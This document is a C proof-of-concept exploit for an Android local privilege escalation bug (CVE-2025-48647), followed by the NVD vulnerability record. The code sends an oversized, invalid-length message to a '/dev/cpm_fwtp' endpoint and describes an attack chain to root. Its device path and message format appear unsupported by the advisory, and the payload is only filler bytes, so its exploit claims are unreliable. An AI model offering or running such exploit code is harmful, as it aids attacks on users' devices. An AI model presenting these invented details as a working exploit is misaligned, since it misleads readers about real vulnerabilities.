CVE-2025-48647

// CVE-2025-48647 PoC - Local Privilege Escalation via cpm_fwtp_msg_handler // This PoC demonstrates the improper input validation in cpm_fwtp_ipc.c // Compile: gcc -o cve_2025_48647_poc cve_2025_48647_poc.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> // FWTP message types #define FWTP_MSG_TYPE_DATA 0x01 #define FWTP_MSG_TYPE_CONTROL 0x02 // Malicious FWTP message structure struct fwtp_message { uint32_t msg_type; uint32_t msg_length; uint32_t flags; char payload[256]; // Oversized payload to trigger overflow }; // Function to send malicious FWTP message int send_malicious_fwtp_message(int fd, struct fwtp_message *msg) { printf("[*] Sending malicious FWTP message...\n"); printf("[*] Message type: 0x%x\n", msg->msg_type); printf("[*] Message length: %u bytes\n", msg->msg_length); ssize_t written = write(fd, msg, sizeof(struct fwtp_message)); if (written < 0) { perror("[-] Write failed"); return -1; } printf("[+] Sent %zd bytes\n", written); return 0; } int main(int argc, char *argv[]) { printf("========================================\n"); printf("CVE-2025-48647 PoC\n"); printf("Android cpm_fwtp_msg_handler Memory Overwrite\n"); printf("========================================\n\n"); // Open the FWTP IPC endpoint const char *fwtp_device = "/dev/cpm_fwtp"; int fd = open(fwtp_device, O_RDWR); if (fd < 0) { printf("[-] Cannot open %s (requires root or specific SELinux context)\n", fwtp_device); printf("[*] This vulnerability requires local access to the device\n"); return 1; } // Prepare malicious message with oversized payload struct fwtp_message malicious_msg; memset(&malicious_msg, 0, sizeof(malicious_msg)); malicious_msg.msg_type = FWTP_MSG_TYPE_DATA; malicious_msg.msg_length = 0xFFFFFFFF; // Invalid length to trigger overflow malicious_msg.flags = 0; // Fill payload with pattern to identify overflow memset(malicious_msg.payload, 0x41, sizeof(malicious_msg.payload)); printf("[*] Exploiting cpm_fwtp_msg_handler...\n"); // Send the malicious message int ret = send_malicious_fwtp_message(fd, &malicious_msg); if (ret == 0) { printf("[+] Malicious message sent successfully\n"); printf("[*] Check for privilege escalation or system crash\n"); } close(fd); return ret; } /* * Attack Chain: * 1. Attacker gains local access to Android device (low privilege) * 2. Opens FWTP IPC endpoint /dev/cpm_fwtp * 3. Sends specially crafted FWTP message with invalid length field * 4. cpm_fwtp_msg_handler fails to validate input properly * 5. Memory overwrite occurs in kernel/system service context * 6. Attacker achieves local privilege escalation to root/system */

{"cve": {"id": "CVE-2025-48647", "sourceIdentifier": "[email protected]", "published": "2026-01-16T19:16:17.687", "lastModified": "2026-01-27T20:18:31.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In cpm_fwtp_msg_handler of cpm/google/lib/tracepoint/cpm_fwtp_ipc.c, there is a possible memory overwrite due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}, {"lang": "es", "value": "En cpm_fwtp_msg_handler de cpm/google/lib/tracepoint/cpm_fwtp_ipc.c, existe una posible sobrescritura de memoria debido a una validación de entrada incorrecta. Esto podría llevar a una escalada local de privilegios sin necesidad de privilegios de ejecución adicionales. No se necesita interacción del usuario para su explotación."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/docs/security/bulletin/pixel/2026/2026-01-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}